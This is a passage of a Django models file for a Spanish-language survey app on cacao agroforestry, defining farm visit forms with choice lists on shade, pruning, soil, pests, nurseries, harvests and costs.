__unicode__(self): return self.productor.nombre class Meta: verbose_name = "Ficha saf" verbose_name_plural = "Ficha saf" CHOICE_SAF_1_1 = ( ('A', 'Producción convencional con uso intensivo de químicos'), ('B', 'Producción orgánica con insumos naturales'), ('C', 'Producción agroecológica y diversificada'), ('D', 'Producción especializada según el tipo de mercado'), ) CHOICE_SAF_1_2 = ( ('A', 'Producción de cacao'), ('B', 'Producción de frutas'), ('C', 'Producción de madera'), ('D', 'Conservación de suelo y agua'), ('E', 'Aumento de ingresos'), ('F', 'Generar empleo'), ('G', 'Diversidad natural'), ('H', 'Otros beneficios'), ) class SafConversacion1(models.Model): conversacion1 = MultiSelectField(choices=CHOICE_SAF_1_1, verbose_name='1.1¿Cuál fue su objetivo de establecer el cultivo de cacao en sistema agroforestales?') conversacion2 = MultiSelectField(choices=CHOICE_SAF_1_2, verbose_name='1.2¿Qué beneficios esperaban del sistema agroforestal en su parcela de cacao?') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"Conversación 1" CHOICE_SAF_1_3 = ( (1, 'Nada de lluvia'), (2, 'Poca lluvia'), (3, 'Algo de lluvia'), (4, 'Mucha lluvia'), ) class SafConversacion2(models.Model): conversacion3 = models.IntegerField(choices=CHOICE_COSECHA_9_MESES, verbose_name='Meses') conversacion4 = models.IntegerField(choices=CHOICE_SAF_1_3, verbose_name='Opciones') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"1.3¿Cuáles son meses más lluviosos en su finca?" CHOICE_SAF_1_4 = ( (1, 'Nada de viento'), (2, 'Poco viento'), (3, 'Algo de viento'), (4, 'Mucho viento'), ) class SafConversacion3(models.Model): conversacion3 = models.IntegerField(choices=CHOICE_COSECHA_9_MESES, verbose_name='Meses') conversacion4 = models.IntegerField(choices=CHOICE_SAF_1_4, verbose_name='Opciones') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"1.4¿Cuáles son meses más ventosos en su finca?" CHOICE_SAF_1_5 = ( (1, 'Establecer el vivero'), (2, 'Limpieza de terreno'), (3, 'Siembra de cacao'), (4, 'Establecer la sombra'), (5, 'Poda de cacao'), (6, 'Manejo de sombra'), (7, 'Deshierba'), (8, 'Abonar'), (9, 'Foliar'), (10, 'Deschuponar'), (11, 'Cortar mazorcas enfermas'), (12, 'Cosecha y Quiebre'), ) class SafConversacion4(models.Model): conversacion5 = models.IntegerField(choices=CHOICE_SAF_1_5, verbose_name='Opcion') conversacion6 = MultiSelectField(choices=CHOICES_FECHA_PODA, verbose_name='Opciones') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"1.5¿Cómo toma en cuenta lluvia y viento para decidir los momentos de las labores de sistema agroforestal?" CHOICE_SAF_1_5_TOPOGRAFIA = ( (1, 'Terreno plano'), (2, 'Terreno con poco pendiente'), (3, 'Terreno con mucho pendiente'), ) CHOICE_SAF_1_5_FERTILIDAD = ( (1, 'Suelo fértil'), (2, 'Suelo poco fértil'), (3, 'Suelo degradado y compacto'), ) class SafConversacion5(models.Model): conversacion7 = models.IntegerField(choices=CHOICE_SAF_1_5_TOPOGRAFIA, verbose_name='Topografía') conversacion8 = models.IntegerField(choices=CHOICE_SAF_1_5_FERTILIDAD, verbose_name='Fertilidad') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"1.5¿Cómo son las características del suelo y su fertilidad?" CHOICE_SAF_1_6_MADERABLE = ( ('A', 'Que tenga buena altura'), ('B', 'Que no tenga hojas en el verano'), ('C', 'Que tenga hojas en el verano '), ('D', 'Que tenga crecimiento rápido '), ('E', 'Que tenga una sombre no muy densa '), ('F', 'Que tenga valor comercial '), ('G', 'Que es fácil para podar '), ) CHOICE_SAF_1_6_FRUTALES = ( ('A', 'Que produce buenos elementos '), ('B', 'Que ayuda a manejar el daño de pájaros y ardillas'), ('C', 'Que tenga resistencia a plagas '), ('D', 'Que tenga una sombre no muy densa'), ('E', 'Que tenga valor comercial'), ('F', 'Que es fácil para manejar'), ) CHOICE_SAF_1_6_SERVICIOS = ( ('A', 'Que produce más y mejor hojarasca '), ('B', 'Que las hojas dan nutrientes'), ('C', 'Que no compiten con cacao'), ('D', 'Que dan buena sombra'), ('E', 'Que tienen hojas todo el tiempo'), ('F', 'Que producen leña'), ('G', 'Que tenga uso medicinal'), ('H', 'Que adapte bien en la zona '), ) class SafConversacion6(models.Model): conversacion9 = MultiSelectField(choices=CHOICE_SAF_1_6_MADERABLE, verbose_name='Para escoger a los árboles maderable ') conversacion10 = MultiSelectField(choices=CHOICE_SAF_1_6_FRUTALES, verbose_name='Para escoger a los árboles frutales') conversacion11 = MultiSelectField(choices=CHOICE_SAF_1_6_SERVICIOS, verbose_name='Para escoger a los árboles que proveen servicios') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"¿Cuáles son sus criterio para escoger los árboles para acompañar el cacao?" CHOICE_SAF_1_6_ETAPA = ( (1, 'Crecimiento vegetativo'), (2, 'Floración'), (3, 'Cuajado y maduración'), (4, 'Cosecha'), ) CHOICE_SAF_1_6_NIVEL_SOMBRA = ( (1, 'Sin sombra'), (2, 'Poca Sombra'), (3, 'Media sombra'), (4, 'Mucha sombra'), ) class SafConversacion7(models.Model): conversacion12 = models.IntegerField(choices=CHOICE_SAF_1_6_ETAPA, verbose_name='Etapas') conversacion13 = MultiSelectField(choices=CHOICES_FECHA_PODA, verbose_name='Meses que ocurren') conversacion14 = models.IntegerField(choices=CHOICE_SAF_1_6_NIVEL_SOMBRA, verbose_name='Nivel de sombra') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"1.6¿Cómo quisiera tener la sombra en diferentes momentos de vida de cacao?" CHOICE_SAF_1_7_PROBLEMAS = ( (1, 'Poca floración'), (2, 'Presencia de malezas'), (3, 'Presencia de Monilia'), (4, 'Presencia de mazorca negra'), (5, 'Baja producción'), (6, 'Daño de ardillas'), ) CHOICE_SAF_1_7_CAUSA_PROBLEMAS = ( (1, 'Poca Sombra'), (2, 'Mucha Sombra'), ) class SafConversacion8(models.Model): conversacion15 = models.IntegerField(choices=CHOICE_SAF_1_7_PROBLEMAS, verbose_name='Problemas') conversacion16 = models.IntegerField(choices=CHOICE_SAF_1_7_CAUSA_PROBLEMAS, verbose_name='Que causa el problema') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"1.7¿Cuál es la percepción de los problemas en relación a la sombra?" CHOICE_SAF_1_8 = ( (1, 'De propia finca'), (2, 'De propia finca árboles élites'), (3, 'De finca vecina'), (4, 'De jardines clónales'), (5, 'De afuera del territorio '), ) CHOICE_SAF_1_9 = ( ('A', 'Cacao criollo'), ('B', 'Cacao forastero'), ('C', 'Cacao Trinitario'), ('D', 'Cacao híbrido'), ('E', 'Clones de cacao'), ('F', 'No sabe'), ) CHOICE_SAF_1_10 = ( ('A', 'Cacao criollo'), ('B', 'Cacao forastero'), ('C', 'Cacao Trinitario'), ('D', 'Cacao híbrido'), ('E', 'Clones de cacao'), ('F', 'Cacao rojo'), ('G', 'No sabe'), ) CHOICE_SAF_1_11 = ( ('A', 'Cacao criollo'), ('B', 'Cacao forastero'), ('C', 'Cacao Trinitario'), ('D', 'Cacao híbrido'), ('E', 'Clones de cacao'), ('F', 'Cacao rojo'), ('G', 'No sabe'), ) class SafConversacion9(models.Model): conversacion17 = models.IntegerField(choices=CHOICE_SAF_1_8, verbose_name='1.8¿De dónde obtuvo la semilla para establecer la plantación de cacao? ') conversacion18 = MultiSelectField(choices=CHOICE_SAF_1_9, verbose_name='1.9¿Con que tipo de cacao se estableció la plantación de cacao? ') conversacion19 = MultiSelectField(choices=CHOICE_SAF_1_10, verbose_name='1.10¿Cuáles son las variedades de cacao tolerantes a las enfermedades? ') conversacion20 = MultiSelectField(choices=CHOICE_SAF_1_11, verbose_name='1.11¿Qué tipo de variedades le han recomendado para resiembra y en nuevas plantaciones de cacao? ') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"18,19,20" CHOICE_SAF_2_TEMA1 = ( (1, 'Cantidad de lombrices/250 cm2'), ) CHOICE_SAF_2_TEMA2 = ( (1, 'Grado de efervescencia con prueba de Agua Oxigenada'), ) CHOICE_SAF_2_OPCIONES = ( (1, 'Baja'), (2, 'Media'), (3, 'Alta'), ) class SafObservaciones(models.Model): observacion1 = models.IntegerField(choices=CHOICE_SAF_2_TEMA1, verbose_name='Tema') observacion2 = models.FloatField('Punto 1') observacion3 = models.FloatField('Punto 2') observacion4 = models.FloatField('Punto 3') observacion5 = models.FloatField('Punto 4') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"Calidad de vida de suelo 1" class SafObservaciones2(models.Model): observacion1 = models.IntegerField(choices=CHOICE_SAF_2_TEMA2, verbose_name='Tema') observacion2 = models.IntegerField(choices=CHOICE_SAF_2_OPCIONES, verbose_name='Punto 1') observacion3 = models.IntegerField(choices=CHOICE_SAF_2_OPCIONES, verbose_name='Punto 2') observacion4 = models.IntegerField(choices=CHOICE_SAF_2_OPCIONES, verbose_name='Punto 3') observacion5 = models.IntegerField(choices=CHOICE_SAF_2_OPCIONES, verbose_name='Punto 4') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"Calidad de vida de suelo 2" CHOICE_SAF_OBSERVACION_2_2 = ( (1, 'Bueno y apto para cacao'), (2, 'Regular necesita enmienda para mejorar'), (3, 'Malo y no apto para Cacao'), (4,'Degradado y compacto no apto para cacao') ) CHOICE_SAF_OBSERVACION_2_3 = ( ('A', 'Promover o sembrar cobertura'), ('B', 'Sembrar árboles que provee buena hojarasca'), ('C', 'Utilizar materiales de poda de sombra y cacao'), ('D', 'Utilizar materiales de banano'), ('E', 'Utilizar abono verde'), ('F', 'Utilizar abono orgánico'), ) class SafObservaciones3(models.Model): observacion6 = models.IntegerField(choices=CHOICE_SAF_OBSERVACION_2_2, verbose_name='2.2Según lo observado en las pruebas de suelo cómo valora es estado de suelo') observacion7 = MultiSelectField(choices=CHOICE_SAF_OBSERVACION_2_3, verbose_name='2.3¿Qué prácticas se pueden hacer en el suelo de su parcela de aprendizaje para mejorar el la vida de suelo?') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"Observacion 2.2 y 2.3" class SafObservacionPunto1(models.Model): especies = models.ForeignKey(Especies) cantidad = models.FloatField() lena = models.FloatField('Para leña') nutrientes = models.FloatField('Para nutrientes') frutas = models.FloatField('Para Frutas') madera = models.FloatField('Para Madera') sombra = models.FloatField('Para sombra') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"Punto 1" class SafObservacionPunto2(models.Model): especies = models.ForeignKey(Especies) cantidad = models.FloatField() lena = models.FloatField('Para leña') nutrientes = models.FloatField('Para nutrientes') frutas = models.FloatField('Para Frutas') madera = models.FloatField('Para Madera') sombra = models.FloatField('Para sombra') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"Punto 2" class SafObservacionPunto3(models.Model): especies = models.ForeignKey(Especies) cantidad = models.FloatField() lena = models.FloatField('Para leña') nutrientes = models.FloatField('Para nutrientes') frutas = models.FloatField('Para Frutas') madera = models.FloatField('Para Madera') sombra = models.FloatField('Para sombra') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"Punto 3" CHOICE_SAF_OBSERVACION_2_5 = ( (1, 'Cuadrado'), (2, 'Rectangular'), (3, 'Tres bolillos'), (4, 'Sin arreglo') ) CHOICE_SAF_OBSERVACION_2_6 = ( (1, 'Demasiado árboles y mucha sombra'), (2, 'Muy poca árboles y poca sombra'), (3, 'Plantas de cacao y otros árboles compiten'), (4, 'No hay problema y arreglo esta bien') ) CHOICE_SAF_OBSERVACION_2_7 = ( (1, 'Cacao + maderable + musáceas + pejibaye'), (2, 'Cacao + musáceas + cultivos anuales'), (3, 'Cacao + maderables + musáceas'), (4, 'Cacao + musáceas + leguminosa + maderables'), (5, 'Cacao + musáceas + leguminosa + maderables+ frutales'), ) CHOICE_SAF_OBSERVACION_2_8 = ( ('A', 'Mejorar la producción de cacao'), ('B', 'Diversificar la producción e ingreso'), ('C', 'Producir más alimento'), ('D', 'Producir leña'), ('E', 'Producir madera'), ('F', 'Mejorar la conservación de Recursos naturales'), ) class SafObservaciones4(models.Model): observacion8 = models.IntegerField(choices=CHOICE_SAF_OBSERVACION_2_5, verbose_name='2.5 ¿Cómo es el arreglo de la plantación?') observacion9 = models.IntegerField(choices=CHOICE_SAF_OBSERVACION_2_6, verbose_name='2.6 ¿Qué dificultades le ha generado su diseño actual de plantación de cacao?') observacion10 = models.IntegerField(choices=CHOICE_SAF_OBSERVACION_2_7, verbose_name='2.7 ¿Cuál sería el diseño para mejorar el sistema agroforestal cacao? ') observacion11 = MultiSelectField(choices=CHOICE_SAF_OBSERVACION_2_8, verbose_name='2.8 ¿Por qué toma la decisión de establecer el diseño seleccionado?') ficha = models.ForeignKey(FichaSaf) def __unicode__(self): return u"Observacion 2.5 al 2.8" #--------------------- fin ficha saf ----------- #---------------------- Ficha Cierre ----------- class FichaCierre(models.Model): productor = models.ForeignKey( Persona, verbose_name='Nombre de productor o productora', related_name='persona_productor_cierre') tecnico = models.ForeignKey( Persona, verbose_name='Nombre de técnico', related_name='persona_tecnico_cierre') fecha_visita = models.DateField() def __unicode__(self): return self.productor.nombre class Meta: verbose_name = "Ficha cierre" verbose_name_plural = "Ficha cierre" CHOICE_CIERRE_1_1_IMPACTO = ( ('A', 'Tipo de árboles y cantidad'), ('B', 'Mucha sombra de los árboles'), ('C', 'Poca sombra de los árboles'), ('D', 'Efecto de sombra sobre las plagas y enfermedades'), ('E', 'Efecto de sombra sobre la producción'), ('F', 'Ninguna'), ) CHOICE_CIERRE_1_1_PLANIFICADA = ( ('A', 'Regulación de sombra'), ('B', 'Eliminación de árboles'), ('C', 'Sembrar árboles'), ('D', 'Eliminar musaceas'), ('E', 'Sembrar musaceas y sombra temporal'), ('F', 'Ninguna'), ('G', 'Ninguna por falta de recursos'), ) CHOICE_CIERRE_1_1_REALIZADA = ( ('A', 'Regulación de sombra'), ('B', 'Eliminación de árboles'), ('C', 'Sembrar árboles'), ('D', 'Eliminar musaceas'), ('E', 'Sembrar musaceas y sombra temporal'), ('F', 'Ninguna'), ('G', 'Ninguna por falta de recursos'), ) CHOICE_CIERRE_1_1_RESULTADOS = ( ('A', 'Aumento de producción'), ('B', 'Mejor control de malas hierbas'), ('C', 'Reducción de enfermedades'), ('D', 'Eliminar musaceas'), ('E', 'Ninguna'), ) class CierreManejo1(models.Model): campo1 = MultiSelectField(choices=CHOICE_CIERRE_1_1_IMPACTO, verbose_name='Observación que impacto') campo2 = MultiSelectField(choices=CHOICE_CIERRE_1_1_PLANIFICADA, verbose_name='Acciones planificadas') campo3 = MultiSelectField(choices=CHOICE_CIERRE_1_1_REALIZADA, verbose_name='Acciones realizadas') campo4 = MultiSelectField(choices=CHOICE_CIERRE_1_1_RESULTADOS, verbose_name='Resultados obtenidos', null=True, blank=True) ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"1.1" class Meta: verbose_name='1.1 Sombra' verbose_name_plural='1.1 Sombra' CHOICE_CIERRE_1_2_IMPACTO = ( ('A', 'Altura y ancho de plantas de cacao'), ('B', 'Falta de horquetas'), ('C', 'Muchas ramas bajeras y entrecruzadas'), ('D', 'Poca penetración de luz'), ('E', 'Relación entre poda y productividad'), ('F', 'Ninguna'), ) CHOICE_CIERRE_1_2_PLANIFICADA = ( ('A', 'Descope de las plantas'), ('B', 'Poda de las ramas entrecruzadas'), ('C', 'Eliminar los chupones'), ('D', 'Formar horquetas'), ('E', 'Eliminar ramas bajeras'), ('F', 'Ninguna'), ('G', 'Ninguna por falta de recursos'), ) CHOICE_CIERRE_1_2_REALIZADA = ( ('A', 'Descope de las plantas'), ('B', 'Poda de las ramas entrecruzadas'), ('C', 'Eliminar los chupones'), ('D', 'Formar horquetas'), ('E', 'Eliminar ramas bajeras'), ('F', 'Ninguna'), ('G', 'Ninguna por falta de recursos'), ) CHOICE_CIERRE_1_2_RESULTADOS = ( ('A', 'Aumento de producción'), ('B', 'Mejor entrada de luz'), ('C', 'Reducción de enfermedades'), ('D', 'Ninguna'), ) class CierreManejo2(models.Model): campo1 = MultiSelectField(choices=CHOICE_CIERRE_1_2_IMPACTO, verbose_name='Observación que impacto') campo2 = MultiSelectField(choices=CHOICE_CIERRE_1_2_PLANIFICADA, verbose_name='Acciones planificadas') campo3 = MultiSelectField(choices=CHOICE_CIERRE_1_2_REALIZADA, verbose_name='Acciones realizadas') campo4 = MultiSelectField(choices=CHOICE_CIERRE_1_2_RESULTADOS, verbose_name='Resultados obtenidos', null=True, blank=True) ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"1.2" class Meta: verbose_name='1.2 Poda' verbose_name_plural='1.2 Poda' CHOICE_CIERRE_1_3_IMPACTO = ( ('A', 'Falta de obra de conservación'), ('B', 'Falta de obra de drenaje'), ('C', 'Deficiencia o desbalance de nutrientes'), ('D', 'Estado de fertilidad de suelo'), ('E', 'Relación entre suelo, fertilidad y la productividad'), ('F', 'Ninguna'), ) CHOICE_CIERRE_1_3_PLANIFICADA = ( ('A', 'Aplicar abono orgánicos'), ('B', 'Aplicar abono mineral'), ('C', 'Aplicar Cal o Ceniza'), ('D', 'Abonar según datos de análisis'), ('E', 'Sembrar abono verde y cobertura'), ('F', 'Ninguna'), ('G', 'Ninguna por falta de recursos'), ) CHOICE_CIERRE_1_3_REALIZADA = ( ('A', 'Aplicar abono orgánicos'), ('B', 'Aplicar abono mineral'), ('C', 'Aplicar Cal o Ceniza'), ('D', 'Abonar según datos de análisis'), ('E', 'Sembrar abono verde y cobertura'), ('F', 'Ninguna'), ('G', 'Ninguna por falta de recursos'), ) CHOICE_CIERRE_1_3_RESULTADOS = ( ('A', 'Aumento de producción'), ('B', 'Aumento de la floración'), ('C', 'Reducción de enfermedades'), ('D', 'Abonar según datos de análisis'), ('E', 'Ninguna'), ) class CierreManejo3(models.Model): campo1 = MultiSelectField(choices=CHOICE_CIERRE_1_3_IMPACTO, verbose_name='Observación que impacto') campo2 = MultiSelectField(choices=CHOICE_CIERRE_1_3_PLANIFICADA, verbose_name='Acciones planificadas') campo3 = MultiSelectField(choices=CHOICE_CIERRE_1_3_REALIZADA, verbose_name='Acciones realizadas') campo4 = MultiSelectField(choices=CHOICE_CIERRE_1_3_RESULTADOS, verbose_name='Resultados obtenidos', null=True, blank=True) ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"1.3" class Meta: verbose_name='1.3 Suelo' verbose_name_plural='1.3 Suelo' CHOICE_CIERRE_1_4_IMPACTO = ( ('A', 'Variedad de plagas y enfermedades'), ('B', 'Nivel de daño de plagas y enfermedades'), ('C', 'Relación entre poda , plagas y enfermedades'), ('D', 'Relación entre sombra y plagas y enfermedades'), ('E', 'Impacto de plagas y enfermedades sobre producción'), ('F', 'Ninguna'), ) CHOICE_CIERRE_1_4_PLANIFICADA = ( ('A', 'Realizar recuentos'), ('B', 'Mejorar la sombra'), ('C', 'Mejorar la poda'), ('D', 'Eliminar mazorcas enfermas'), ('E', 'Aplicar caldo sulfo-calcico'), ('F', 'Aplicar bio-fermentados'), ('G', 'Ninguna'), ('H', 'Ninguna por falta de recursos'), ) CHOICE_CIERRE_1_4_REALIZADA = ( ('A', 'Realizar recuentos'), ('B', 'Mejorar la sombra'), ('C', 'Mejorar la poda'), ('D', 'Eliminar mazorcas enfermas'), ('E', 'Aplicar caldo sulfo-calcico'), ('F', 'Aplicar bio-fermentados'), ('G', 'Ninguna'), ('H', 'Ninguna por falta de recursos'), ) CHOICE_CIERRE_1_4_RESULTADOS = ( ('A', 'Aumento de producción'), ('B', 'Reducción de daño de plagas'), ('C', 'Reducción de enfermedades'), ('D', 'Ninguna'), ) class CierreManejo4(models.Model): campo1 = MultiSelectField(choices=CHOICE_CIERRE_1_4_IMPACTO, verbose_name='Observación que impacto') campo2 = MultiSelectField(choices=CHOICE_CIERRE_1_4_PLANIFICADA, verbose_name='Acciones planificadas') campo3 = MultiSelectField(choices=CHOICE_CIERRE_1_4_REALIZADA, verbose_name='Acciones realizadas') campo4 = MultiSelectField(choices=CHOICE_CIERRE_1_4_RESULTADOS, verbose_name='Resultados obtenidos', null=True, blank=True) ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"1.4" class Meta: verbose_name='1.4 Plaga' verbose_name_plural='1.4 Plaga' CHOICE_CIERRE_1_5_IMPACTO = ( ('A', 'Variedad de mala hierbas'), ('B', 'Nivel de daño de mala hierbas'), ('C', 'Relación entre chapoda y composición del piso'), ('D', 'Relación entre herbicidas y composición del piso'), ('E', 'Cantidad de bejucos en el piso y plantas'), ('F', 'Ninguna'), ('G', 'Falta de materia organica'), ) CHOICE_CIERRE_1_5_PLANIFICADA = ( ('A', 'Realizar conteo'), ('B', 'Mejorar la sombra'), ('C', 'Eliminar bejucos'), ('D', 'Eliminar tanda'), ('E', 'Realizar manejo selectivo'), ('F', 'Ninguna'), ('G', 'Ninguna por falta de recursos'), ('H', 'Repartir hojarasca'), ) CHOICE_CIERRE_1_5_REALIZADA = ( ('A', 'Realizar conteo'), ('B', 'Mejorar la sombra'), ('C', 'Eliminar bejucos'), ('D', 'Eliminar tanda'), ('E', 'Realizar manejo selectivo'), ('F', 'Ninguna'), ('G', 'Ninguna por falta de recursos'), ('H', 'Repartir hojarasca'), ) CHOICE_CIERRE_1_5_RESULTADOS = ( ('A', 'Aumento de producción'), ('B', 'Reducción de malas hierbas dañinas'), ('C', 'Aumento de cobertura'), ('D', 'Eliminar tanda'), ('E', 'Ninguna'), ) class CierreManejo5(models.Model): campo1 = MultiSelectField(choices=CHOICE_CIERRE_1_5_IMPACTO, verbose_name='Observación que impacto') campo2 = MultiSelectField(choices=CHOICE_CIERRE_1_5_PLANIFICADA, verbose_name='Acciones planificadas') campo3 = MultiSelectField(choices=CHOICE_CIERRE_1_5_REALIZADA, verbose_name='Acciones realizadas') campo4 = MultiSelectField(choices=CHOICE_CIERRE_1_5_RESULTADOS, verbose_name='Resultados obtenidos', null=True, blank=True) ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"1.5" class Meta: verbose_name='1.5 Piso' verbose_name_plural='1.5 Piso' CHOICE_CIERRE_1_6_IMPACTO = ( ('A', 'Tipo de cacao que estamos sembrando'), ('B', 'Auto-incompatibilidad de las semillas'), ('C', 'La calidad de semillas'), ('D', 'Incidencia de plagas y enfermedades en vivero'), ('E', 'Calidad de plantas'), ('F', 'Ninguna'), ) CHOICE_CIERRE_1_6_PLANIFICADA = ( ('A', 'Seleccionar mazorcas y mezclar para conseguir semilla'), ('B', 'Utilizar mejor calidad de semillas'), ('C', 'Mejorar el sustrato'), ('D', 'Mejorar el tamaño de bolsa'), ('E', 'Mejorar manejo de enfermedades y plagas'), ('F', 'Ninguna'), ('G', 'Ninguna por falta de recursos'), ) CHOICE_CIERRE_1_6_REALIZADA = ( ('A', 'Seleccionar mazorcas y mezclar para conseguir semilla'), ('B', 'Utilizar mejor calidad de semillas'), ('C', 'Mejorar el sustrato'), ('D', 'Mejorar el tamaño de bolsa'), ('E', 'Mejorar manejo de enfermedades y plagas'), ('F', 'Ninguna'), ('G', 'Ninguna por falta de recursos'), ) CHOICE_CIERRE_1_6_RESULTADOS = ( ('A', 'Mejor vigor de las plantas'), ('B', 'Menos daño de plagas'), ('C', 'Menos daño de enfermedades'), ('D', 'Ninguna'), ) class CierreManejo6(models.Model): campo1 = MultiSelectField(choices=CHOICE_CIERRE_1_6_IMPACTO, verbose_name='Observación que impacto') campo2 = MultiSelectField(choices=CHOICE_CIERRE_1_6_PLANIFICADA, verbose_name='Acciones planificadas') campo3 = MultiSelectField(choices=CHOICE_CIERRE_1_6_REALIZADA, verbose_name='Acciones realizadas') campo4 = MultiSelectField(choices=CHOICE_CIERRE_1_6_RESULTADOS, verbose_name='Resultados obtenidos', null=True, blank=True) ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"1.6" class Meta: verbose_name='1.6 Vivero' verbose_name_plural='1.6 Vivero' CHOICE_CIERRE_1_7_IMPACTO = ( ('A', 'Cantidad de planta productiva'), ('B', 'Numero de mazorcas sanas'), ('C', 'Numero de mazorcas dañadas'), ('D', 'Nivel de cosecha de la parcela'), ('E', 'Ninguna'), ('F', 'Efecto de sombra sobre la producción'), ('G', 'Efecto de poda sobre la producción'), ) CHOICE_CIERRE_1_7_PLANIFICADA = ( ('A', 'Mejorar la poda y sombra'), ('B', 'Mejorar la fertilización'), ('C', 'Mejorar manejo de plagas'), ('D', 'Eliminar planta poca productivas'), ('E', 'Sembrar plantas más productivas'), ('F', 'Ninguna'), ('G', 'Ninguna por falta de recursos'), ) CHOICE_CIERRE_1_7_REALIZADA = ( ('A', 'Mejorar la poda y sombra'), ('B', 'Mejorar la fertilización'), ('C', 'Mejorar manejo de plagas'), ('D', 'Eliminar planta poca productivas'), ('E', 'Sembrar plantas más productivas'), ('F', 'Ninguna'), ('G', 'Ninguna por falta de recursos'), ) CHOICE_CIERRE_1_7_RESULTADO = ( ('A', 'Aumento de la cosecha'), ('B', 'Aumento de plantas productivas'), ('C', 'Mejor calidad de mazorcas'), ('D', 'Mejor calidad de granos'), ('E', 'Ninguna'), ) class CierreManejo7(models.Model): campo1 = MultiSelectField(choices=CHOICE_CIERRE_1_7_IMPACTO, verbose_name='Observación que impacto') campo2 = MultiSelectField(choices=CHOICE_CIERRE_1_7_PLANIFICADA, verbose_name='Acciones planificadas') campo3 = MultiSelectField(choices=CHOICE_CIERRE_1_7_REALIZADA, verbose_name='Acciones realizadas') campo4 = MultiSelectField(choices=CHOICE_CIERRE_1_7_RESULTADO, verbose_name='Resultados obtenidos', null=True, blank=True) ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"1.7" class Meta: verbose_name='1.7 Cosecha' verbose_name_plural='1.7 Cosecha' CHOICE_CIERRE_COSTO_1 = ( ('A', 'Cacao Criollo'), ('B', 'Cacao Trinitario'), ('C', 'Cacao Forastero'), ('D', 'Cacao híbrido'), ('E', 'Clones de cacao'), ) class CierreCosto1(models.Model): costo = models.FloatField('Costo de mano de obra C$/día') area = models.FloatField('Área de parcela de cacao en mz') tipo = MultiSelectField(choices=CHOICE_CIERRE_COSTO_1, verbose_name='Tipo de Cacao ') ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"2" class ActividadesCierre(models.Model): nombre = models.CharField(max_length=250) def __unicode__(self): return self.nombre class Meta: verbose_name_plural='Actividades de cierre' class CierreActividad(models.Model): actividad = models.ForeignKey(ActividadesCierre) meses = MultiSelectField(choices=CHOICES_FECHA_PODA, verbose_name='En qué meses realizan') familiar = models.FloatField('Uso de DP familiar') contratada = models.FloatField('Uso de DP contratada') insumo = models.CharField('Uso Insumo', max_length=250) costo = models.FloatField('Costo de insumo en C$') ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"2.1" class CierreBabaRoja(models.Model): campo1 = models.FloatField('Cosecha anual qq baba', null=True, blank=True) campo2 = models.FloatField('Venta qq baba', null=True, blank=True) campo3 = models.FloatField('Precio de venta qq baba', null=True, blank=True) campo4 = models.FloatField('Cosecha anual qq grano rojo', null=True, blank=True) campo5 = models.FloatField('Venta qq grano rojo', null=True, blank=True) campo6 = models.FloatField('Precio de venta qq grano rojo', null=True, blank=True) campo7 = models.FloatField('Consumo anual qq grano rojo', null=True, blank=True) ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"2.2" class Meta: verbose_name='Datos' verbose_name_plural='Datos' class ManejosCierre(models.Model): nombre = models.CharField(max_length=250) def __unicode__(self): return self.nombre class Meta: verbose_name_plural='Manejos de cierre' class CierreManejo(models.Model): manejo = models.ForeignKey(ManejosCierre) reposo = models.IntegerField(choices=((1,'Si'),(2,'No'),) ) crecimiento = models.IntegerField(choices=((1,'Si'),(2,'No'),) ) floracion = models.IntegerField(choices=((1,'Si'),(2,'No'),) ) cosecha = models.IntegerField(choices=((1,'Si'),(2,'No'),) ) ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"3" CHOICE_CIERRE_CONOCIMIENTO_TEMA1 = ((1, 'Variedad más común en mi finca'),) class CierreConocimiento1(models.Model): tema = models.IntegerField(choices=CHOICE_CIERRE_CONOCIMIENTO_TEMA1) criollas = models.IntegerField(choices=((1,'Si'),(2,'No'),) ) forastero = models.IntegerField(choices=((1,'Si'),(2,'No'),) ) trinitaria = models.IntegerField(choices=((1,'Si'),(2,'No'),) ) hibridos = models.IntegerField(choices=((1,'Si'),(2,'No'),) ) clones = models.IntegerField(choices=((1,'Si'),(2,'No'),) ) ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"4 tema 1" CHOICE_CIERRE_CONOCIMIENTO_TEMA2 = ((1, 'Ventajas de variedades'),) CHOICE_CIERRE_CONOCIMIENTO_RESPUESTAS = ( ('A', 'Produce más'), ('B', 'Granos grandes'), ('C', 'Tolerante a plagas y enfermedades'), ('D', 'Tiene buena estructura'), ('E', 'No necesita mucho abono'), ('F', 'No aplica'), ) class CierreConocimiento2(models.Model): tema = models.IntegerField(choices=CHOICE_CIERRE_CONOCIMIENTO_TEMA2) criollas = MultiSelectField(choices=CHOICE_CIERRE_CONOCIMIENTO_RESPUESTAS) forastero = MultiSelectField(choices=CHOICE_CIERRE_CONOCIMIENTO_RESPUESTAS) trinitaria = MultiSelectField(choices=CHOICE_CIERRE_CONOCIMIENTO_RESPUESTAS) hibridos = MultiSelectField(choices=CHOICE_CIERRE_CONOCIMIENTO_RESPUESTAS) clones = MultiSelectField(choices=CHOICE_CIERRE_CONOCIMIENTO_RESPUESTAS) ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"4 tema 2" CHOICE_CIERRE_CONOCIMIENTO_TEMA3 = ((1, 'Desventajas de variedades'),) 